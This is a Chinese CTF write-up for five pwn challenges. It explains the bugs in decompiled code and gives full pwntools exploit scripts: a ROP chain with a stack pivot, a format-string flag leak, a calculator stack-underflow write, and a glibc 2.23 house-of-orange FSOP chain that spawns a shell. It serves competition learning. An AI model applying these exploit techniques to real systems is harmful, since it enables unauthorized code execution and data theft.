nyyyddddn

中国海洋大学信息安全竞赛pwn方向wp

2024/04/28

pwn

摩登Pwn

第一次做这种gui pwn,搜了一下是rbf协议,https://remoteripple.com/download/ 用这个远程连接软件连接和题目进行交互

程序的逻辑是,会将输入转成无符号整数,然后判断”符号位”是不是负数,如果是就输出flag,所以只需要输入4字节无符号整数能表达是最大范围4294967295 就能拿到flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
__int64 __fastcall show_result(__int64 a1, __int64 a2)
{
__int64 type; // rsi
__int64 v3; // rax
__int64 buffer; // rax
__int64 v5; // rax
__int64 v6; // rax
__int64 v7; // rax
__int64 v8; // rax
__int64 v9; // rsi
__int64 v10; // rax
__int64 v11; // rax
__int64 v12; // rax
char src[8]; // [rsp+10h] [rbp-100h] BYREF
__int64 v15; // [rsp+18h] [rbp-F8h]
__int64 v16; // [rsp+20h] [rbp-F0h]
__int64 v17; // [rsp+28h] [rbp-E8h]
__int64 v18; // [rsp+30h] [rbp-E0h]
__int64 v19; // [rsp+38h] [rbp-D8h]
__int64 v20; // [rsp+40h] [rbp-D0h]
__int64 v21; // [rsp+48h] [rbp-C8h]
char v22[128]; // [rsp+50h] [rbp-C0h] BYREF
__int64 v23; // [rsp+D0h] [rbp-40h]
FILE *stream; // [rsp+D8h] [rbp-38h]
__int64 content_area; // [rsp+E0h] [rbp-30h]
__int64 v26; // [rsp+E8h] [rbp-28h]
unsigned int v27; // [rsp+F4h] [rbp-1Ch]
__int64 v28; // [rsp+F8h] [rbp-18h]
__int64 toplevel; // [rsp+100h] [rbp-10h]
char *nptr; // [rsp+108h] [rbp-8h]

toplevel = gtk_widget_get_toplevel(a1);
v28 = a2;
type = gtk_entry_get_type();
v3 = g_type_check_instance_cast(v28, type);
buffer = gtk_entry_get_buffer(v3);
for ( nptr = (char *)gtk_entry_buffer_get_text(buffer); *nptr && (*nptr <= 48 || *nptr > 56); ++nptr )
;
v27 = strtoul(nptr, 0LL, 10);
v26 = gtk_dialog_new_with_buttons("Result", toplevel, 2LL, &unk_401B58, 0xFFFFFFFFLL, 0LL);
v5 = gtk_container_get_type();
v6 = g_type_check_instance_cast(v26, v5);
gtk_container_set_border_width(v6, 10LL);
v7 = gtk_window_get_type();
v8 = g_type_check_instance_cast(v26, v7);
gtk_window_set_position(v8, 4LL);
v9 = gtk_dialog_get_type();
v10 = g_type_check_instance_cast(v26, v9);
content_area = gtk_dialog_get_content_area(v10);
memset(v22, 0, sizeof(v22));
strcat(v22, "Your height is: ");
if ( (v27 & 0x80000000) != 0 )
{
*(_QWORD *)src = 0LL;
v15 = 0LL;
v16 = 0LL;
v17 = 0LL;
v18 = 0LL;
v19 = 0LL;
v20 = 0LL;
v21 = 0LL;
stream = fopen("/flag", "r");
__isoc99_fscanf(stream, "%s", src);
fclose(stream);
strcpy(&v22[16], src);
}
else
{
sprintf(&v22[16], "%d", v27);
}
strcat(v22, "cm");
v23 = gtk_label_new(v22);
g_signal_connect_data(v26, (__int64)"response", (__int64)&gtk_widget_destroy, v26, 0LL, 2LL);
v11 = gtk_container_get_type();
v12 = g_type_check_instance_cast(content_area, v11);
gtk_container_add(v12, v23);
return gtk_widget_show_all(v26);
}

baby_stack

题目里有一个只允许orw的沙箱,然后子函数里面有一个栈溢出,不过溢出长度比较短,通过printf %s泄露libc基地址 和 栈相关的地址,栈迁移后打rop,先泄露栈地址,因为栈地址的在低地址,在泄露libc的地址

1
2
3
4
5
6
7
8
9
10
11
12
ssize_t func()
{
char buf[320]; // [rsp+0h] [rbp-140h] BYREF

setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
puts("please enter your content:");
read(0, buf, 0x150uLL);
printf("%s", buf);
puts("please enter your content again:");
return read(0, buf, 0x150uLL);
}

其实restart一次就好了,(懒得改

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 0
IP = "competition.blue-whale.me"
PORT = 20618

elf = context.binary = ELF('./baby_stack')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

pop_rdi_ret = 0x0000000000400b93
pop_rsi_r15_ret = 0x0000000000400b91
func = 0x400A76

# leak stack
payload = b'a' * 0x60
sa("please enter your content:",payload)
ru(payload)
stack = u64(r(6).ljust(8,b'\x00')) - (0x7fffd2cf0340 - 0x7fffd2cf0110)
success(hex(stack))
# Restart
payload = b'a' * 0x148 + p64(func)
sa("please enter your content again:",payload)

# leak libc
payload = b'a' * 0x150
sa("please enter your content:",payload)
ru(payload)
libc_base = u64(r(6).ljust(8,b'\x00')) - (0x76227bc20840 - 0x76227bc00000)
success(f"libc_base ->{hex(libc_base)}")

pop_rdx_ret = libc_base + 0x0000000000001b92
leave_ret = libc_base + 0x0000000000042361
# Restart
payload = b'a' * 0x148 + p64(func)
sa("please enter your content again:",payload)

target = stack + 0x10 - 0x8
open = libc_base + libc.sym['open']
read = libc_base + libc.sym['read']
write = libc_base + libc.sym['write']
bss = 0x601000

payload = b'a' * 3
sa("please enter your content:",payload)

payload = p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_r15_ret) + p64(bss) + p64(0)
payload += p64(pop_rdx_ret) + p64(0x8)
payload += p64(read)

payload += p64(pop_rdi_ret) + p64(bss)
payload += p64(pop_rsi_r15_ret) + p64(0) + p64(0)
payload += p64(open)

payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_r15_ret) + p64(bss) + p64(0)
payload += p64(pop_rdx_ret) + p64(0x40)
payload += p64(read)

payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_r15_ret) + p64(bss) + p64(0)
payload += p64(pop_rdx_ret) + p64(0x40)
payload += p64(write)

payload = payload.ljust(0x140,b'a')
payload += p64(target) + p64(leave_ret)

sa("please enter your content again:",payload)
s(b"/flag\x00\x00\x00")

p.interactive()

padfmt

好新颖的题,没有见过这种类型的fmt,题目中有一个函数会把flag拷贝到栈上,思考了一会,可以用多个 %p组成的表达式去泄露栈相关的地址,因为memset过了一遍,所以不用考虑发送地址的时候 00位的问题,用 %p * n + %s + flag_addr去泄露flag的值

1
2
3
李华在学习了格式化字符串漏洞后大受震撼,但他突然想到 “对啊,如果我给 %n$p 里的 $ 过滤掉,再配合上一个很大块的空数据让 printf 随便泄露,不就是个安全的 printf 了吗!”

于是李华写了下面的这个 demo,看看聪明的你能不能打他的脸

exp

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "competition.blue-whale.me"
PORT = 20477

elf = context.binary = ELF('./padfmt')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


payload = "%p%p%p%p%p%p-%p"
sla("what is your name?",payload)
ru("-")
leak = int(r(14),16) # input addr
success(f"input_addr ->{hex(leak)}")

flag_addr = leak + (0x7ffe8cfa9480 - 0x7ffe8cfa9010)
success(f"flag_addr ->{hex(flag_addr)}")


payload = b"%p%p%p%p%p%p%p%p%p%p%p%p%p%sAAAA" + p64(flag_addr)
# g(p)
sla("have anything else to say?",payload)



p.interactive()

卡死欧计算器

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
int __cdecl handle_input()
{
int v1; // eax
int v2; // eax
int v3; // eax
OPInfo_0 *v4; // rax
int v5; // eax
int v6; // eax
int v7; // eax
int v8; // eax
char *end; // [rsp+18h] [rbp-B8h] BYREF
handle_input::$ABC3A5BA1621B0CECBED674EC3823104 op_stack; // [rsp+20h] [rbp-B0h]
handle_input::$B79843162A86359B3DBF089CA1AEDE1A num_stack; // [rsp+30h] [rbp-A0h]
int pre_res; // [rsp+4Ch] [rbp-84h] BYREF
double tmp; // [rsp+50h] [rbp-80h]
double r; // [rsp+58h] [rbp-78h]
double a; // [rsp+60h] [rbp-70h]
double b; // [rsp+68h] [rbp-68h]
double r_0; // [rsp+70h] [rbp-60h]
double a_0; // [rsp+78h] [rbp-58h]
double b_0; // [rsp+80h] [rbp-50h]
OPInfo_0 *prev; // [rsp+88h] [rbp-48h]
OPInfo_0 *curr; // [rsp+90h] [rbp-40h]
double r_1; // [rsp+98h] [rbp-38h]
double a_1; // [rsp+A0h] [rbp-30h]
double b_1; // [rsp+A8h] [rbp-28h]
OPInfo_0 *opi; // [rsp+B0h] [rbp-20h]
int err; // [rsp+BCh] [rbp-14h]
char *buf; // [rsp+C0h] [rbp-10h]
int i; // [rsp+CCh] [rbp-4h]

printf("input: ");
memset(input_buffer, 0, sizeof(input_buffer));
buf = fgets(input_buffer, 2000, stdin);
if ( !buf )
return 0;
pre_res = 0; // inputdataLen
err = preprocess(buf, &pre_res);
if ( err )
{
handle_preprocess_err(buf, err, pre_res);
return 1;
}
else
{
num_stack.top = 0;
num_stack.arr = (double *)malloc(8LL * pre_res);
op_stack.top = 0;
op_stack.arr = (char *)malloc(pre_res);
*num_stack.arr = 0.0;
for ( i = 0; buf[i]; ++i )
{
if ( buf[i] != ' ' )
{
if ( buf[i] > '/' && buf[i] <= '9' || buf[i] == 46 )// 0123456789 chr(46) == '.'
{
tmp = strtod(&buf[i], &end);
num_stack.arr[++num_stack.top] = tmp;
i = (_DWORD)end - (_DWORD)buf - 1;
}
else if ( buf[i] == '(' )
{
op_stack.arr[++op_stack.top] = '(';
}
else if ( buf[i] == ')' )
{
while ( op_stack.arr[op_stack.top] != '(' )
{
v1 = num_stack.top--;
b = num_stack.arr[v1];
v2 = num_stack.top--;
a = num_stack.arr[v2];
v3 = op_stack.top--;
v4 = lookup_op(op_stack.arr[v3]);
r = v4->op(a, b);
num_stack.arr[++num_stack.top] = r;
}
--op_stack.top;
}
else
{
curr = lookup_op(buf[i]);
while ( op_stack.top )
{
prev = lookup_op(op_stack.arr[op_stack.top]);
if ( !prev || curr->level > prev->level )
break;
v5 = num_stack.top--;
b_0 = num_stack.arr[v5];
v6 = num_stack.top--;
a_0 = num_stack.arr[v6];
r_0 = prev->op(a_0, b_0);
--op_stack.top;
num_stack.arr[++num_stack.top] = r_0;
}
op_stack.arr[++op_stack.top] = curr->sym;
}
}
}
while ( op_stack.top )
{
opi = lookup_op(op_stack.arr[op_stack.top]);
v7 = num_stack.top--;
b_1 = num_stack.arr[v7];
v8 = num_stack.top--;
a_1 = num_stack.arr[v8];
r_1 = opi->op(a_1, b_1);
--op_stack.top;
num_stack.arr[++num_stack.top] = r_1;
}
printf("result: %lf\n", num_stack.arr[num_stack.top]);
free(op_stack.arr);
free(num_stack.arr);
return 1;
}
}

看了一遍题目的逻辑,是一个基于栈的计算器。分析题目崩溃的样例() + () + 1,然后我构造了一些新的样例,比如说

1
2
3
4
() + () + ()
() + () + 2
() + () + () + ()
(

再结合题目的逻辑分析,可以发现产生漏洞的原因是 () + () 这类表达式中没有判断运算符两边是否是一个操作数,num_stack 为空,凭空 pop了两次,能产生一个以num_stack为基地址 往低地址写任意数据的漏洞,不过result是iee754双精度的,所以要计算一下。

题目中有一个backdoor函数,在处理op_stack的时候,如果存在 ‘#’符号就会调用backdoor,所以目的非常清晰,用num_stack低地址写的漏洞去写op_stack中的内容

num_stack 和 op_stack在初始化的时候,op_stack是在高地址,可以利用glibc堆分配策略,先输入一个表达式产生chunk,再输入一个利用的表达式,保证利用表达式的有效长度 * 8 是大于旧的两个chunk,让op_stack和num_stack的高低地址进行调换

1
2
3
num_stack.arr = (double *)malloc(8LL * pre_res);
op_stack.top = 0;
op_stack.arr = (char *)malloc(pre_res);

利用() + () + …..的表达式让 num stack的top指针指向op_stack,原本我想构造一个低n个字节为 0x23这样的iee754双精度浮点数,后面发现利用op_stack原本的数据 用除法去计算出这个数相比去构造iee754双精度浮点数来说会非常简单,利用程序处理运算符优先级顺序的逻辑,在修改的时候保证op_stack top >=1,然后把op_stack[top] 这个运算符改成0x23就好了,也就是构造 +()/340 这样的表达式

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "competition.blue-whale.me"
PORT = 20369

elf = context.binary = ELF('./kasio')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()

payload = "1+1+1+1+1+1+1+1+1+1+1+1" # 23
# chunkA 0x18 + 8 + prev_inuse = 0x21

sla("input: ",payload)

# payload = "()+()+()+()+()+()/10000000+(1.73e-322)"
payload = "()+()+()+()+()+()/340"

# +(1.73e-322) 低位一个字节是0x23

# gdb_comm = '''
# b *0x401336
# c
# '''
# gdb.attach(p,gdb_comm)


sla("input: ",payload)


p.interactive()

one orange

不太熟悉glibc 2.23的利用方法,去学习了一下

https://www.cnblogs.com/ZIKH26/articles/16712469.html

https://xz.aliyun.com/t/12902?time__1311=mqmhqIx%2BhD7YDs%3DA4Cw4iTL4fxh30KeD&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-13

https://www.anquanke.com/post/id/208407

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-8h]

v4 = __readfsqword(0x28u);
init_0(a1, a2, a3);
while ( 1 )
{
while ( 1 )
{
puts("1.add");
puts("2.del");
puts("3.edit");
puts("4.show");
_isoc99_scanf("%d", &v3);
if ( v3 != 2 )
break;
del();
}
if ( v3 > 2 )
{
if ( v3 == 3 )
{
edit();
}
else if ( v3 == 4 )
{
show();
}
}
else if ( v3 == 1 )
{
add();
}
}
}

unsigned __int64 add()
{
unsigned int v0; // ebx
unsigned int idx; // [rsp+0h] [rbp-20h] BYREF
int size; // [rsp+4h] [rbp-1Ch] BYREF
unsigned __int64 v4; // [rsp+8h] [rbp-18h]

v4 = __readfsqword(0x28u);
puts("which index?");
_isoc99_scanf("%d", &idx);
if ( idx > 0xA || chunk_list[idx] || (puts("what size?"), _isoc99_scanf("%d", &size), size <= 223) || size > 992 )
{
puts("go out");
}
else
{
size_list[idx] = size;
v0 = idx;
chunk_list[v0] = malloc(size);
puts("success!");
}
return __readfsqword(0x28u) ^ v4;
}

unsigned __int64 show()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
puts("which index?");
_isoc99_scanf("%d", &v1);
if ( v1 <= 0xA && chunk_list[v1] )
{
puts("content:");
write(1, (const void *)chunk_list[v1], (int)size_list[v1]);
puts(&byte_10FC);
}
else
{
puts("go out");
}
return __readfsqword(0x28u) ^ v2;
}

unsigned __int64 edit()
{
unsigned int v1; // [rsp+0h] [rbp-10h] BYREF
int i; // [rsp+4h] [rbp-Ch]
unsigned __int64 v3; // [rsp+8h] [rbp-8h]

v3 = __readfsqword(0x28u);
puts("which index?");
_isoc99_scanf("%d", &v1);
if ( v1 <= 0xA && chunk_list[v1] )
{
puts("content:");
for ( i = 0; size_list[v1] >= i; ++i )
{
read(0, (void *)(chunk_list[v1] + i), 1uLL);
if ( *(_BYTE *)(chunk_list[v1] + i) == 10 )
{
*(_BYTE *)(chunk_list[v1] + i) = 0;
break;
}
}
puts("success!");
}
else
{
puts("go out");
}
return __readfsqword(0x28u) ^ v3;
}

unsigned __int64 del()
{
unsigned int v1; // [rsp+4h] [rbp-Ch] BYREF
unsigned __int64 v2; // [rsp+8h] [rbp-8h]

v2 = __readfsqword(0x28u);
if ( delete_chance )
{
puts("you just have one chance!");
puts("which index?");
_isoc99_scanf("%d", &v1);
if ( v1 <= 0xA && chunk_list[v1] )
{
printf("this is you want to delete: %p\n", (const void *)chunk_list[v1]);
free((void *)chunk_list[v1]);
chunk_list[v1] = 0LL;
size_list[v1] = 0;
--delete_chance;
puts("success!");
}
else
{
puts("go out");
}
}
else
{
puts("you have no chance!");
puts("go out");
}
return __readfsqword(0x28u) ^ v2;
}

可以发现在edit的时候有一个单字节的溢出 off by one, 只有一次free的机会,单字节溢出不足以满足house of orange的利用条件,但是可以同来构造一个堆叠

构造这样一个堆布局,edit(chunk B)将 chunk C的size修改成一个比较小的数,edit(chunk A)将chunkB的size修改成(chunkB + chunkC)的大小,将B free掉后再申请回来,就能构造出一个修改top chunk的uaf,但是这个是单字节的溢出,能构造的最大的写 top chunk的数据长度是 0xe8,不过刚刚好够https://xz.aliyun.com/t/12902?time__1311=mqmhqIx%2BhD7YDs%3DA4Cw4iTL4fxh30KeD&alichlgref=https%3A%2F%2Fcn.bing.com%2F#toc-13 这条利用链

1
2
3
4
5
低地址
chunk A(udata: 0xf8 prev_inuse: 1 sizeof(chunk->size): 8)
chunk B(udata: 0xf8 prev_inuse: 1 sizeof(chunk->size): 8)
chunk C(udata: 0xe8 prev_inuse: 1 sizeof(chunk->size): 8)
高地址

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
from pwn import *
# from LibcSearcher import *
import itertools
import ctypes

context(os='linux', arch='amd64', log_level='debug')

is_debug = 1
IP = "competition.blue-whale.me"
PORT = 20143

elf = context.binary = ELF('./one_orange')
libc = elf.libc

def connect():
return remote(IP, PORT) if not is_debug else process()

g = lambda x: gdb.attach(x)
s = lambda x: p.send(x)
sl = lambda x: p.sendline(x)
sa = lambda x, y: p.sendafter(x, y)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x=None: p.recv() if x is None else p.recv(x)
rl = lambda: p.recvline()
ru = lambda x: p.recvuntil(x)
r_leak_libc_64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
r_leak_libc_32 = lambda: u32(p.recvuntil(b'\xf7')[-4:])

p = connect()


def add(idx,size):
sl("1")
sla("which index?",str(idx)) # 0 - 10
sla("what size?",str(size)) # size > 223(0xdf) size <=922(0x39a)

def delete(idx):
sl("2")
sla("which index?",str(idx))

def show(idx):
sl("4")
sla("which index?",str(idx))

def edit(idx,content):
sl("3")
sla("which index?",str(idx))
sa("content:",content)

def edit2(idx,content):
sl("3")
sla("which index?",str(idx))
sla("content:",content)

add(0,0x398)
add(1,0x398)
add(2,0x398) # 填高 top chunk的地址,这样修改top chunk size 只需要修改很小就能满足页对齐的要求

add(3,0xf8)
add(4,0xf8)
add(5,0xe8)

edit(3,b'\x00' * 0xf8 + b'\xf1')
edit(4,b'\x00' * 0xf8 + b'\x41')
delete(4)
ru("this is you want to delete: ")
heap_base = int(rl()[:-1],16) - (0x62aa5a9fbbf0 - 0x62aa5a9fb000)
# 4 5 heap overlap后 top chunk 和4合并, 构造出uaf 5
add(4,0x108)


edit2(5,b'a' * 8 + p64(0x311)) # 通过构造出来的uaf 修改 top chunk size的大小,满足页对齐要求,同时size小于 创建堆块的最大size
add(6,0x328) # house of orange

show(5)
ru("a" * 8)
r(8)
leak = u64(r(6).ljust(8,b"\x00"))
libc_base = leak - (0x00007f0b95fc4b78 - 0x7f0b95c00000)
success(f"libc_base ->{hex(libc_base)}")
success(f"heap_base ->{hex(heap_base)}")

_IO_list_all = libc_base + (0x6ffcda5c5520 - 0x6ffcda200000)
system = libc_base + libc.sym['system']
success(hex(_IO_list_all))

chain = heap_base+0xcf0
payload = b'/bin/sh\x00' + p64(0x61) + p64(0) + p64(_IO_list_all - 0x10)
payload += p64(0) + p64(1) + p64(0)*7+p64(chain)
payload = payload.ljust(0xd8,b"\x00")
payload += p64(chain+0xd8-0x10)+p64(system)

edit2(5,payload)

# g(p)
add(7,0x200)



p.interactive()
CATALOG
  1. 1. pwn
    1. 1.1. 摩登Pwn
    2. 1.2. baby_stack
    3. 1.3. padfmt
    4. 1.4. 卡死欧计算器
    5. 1.5. one orange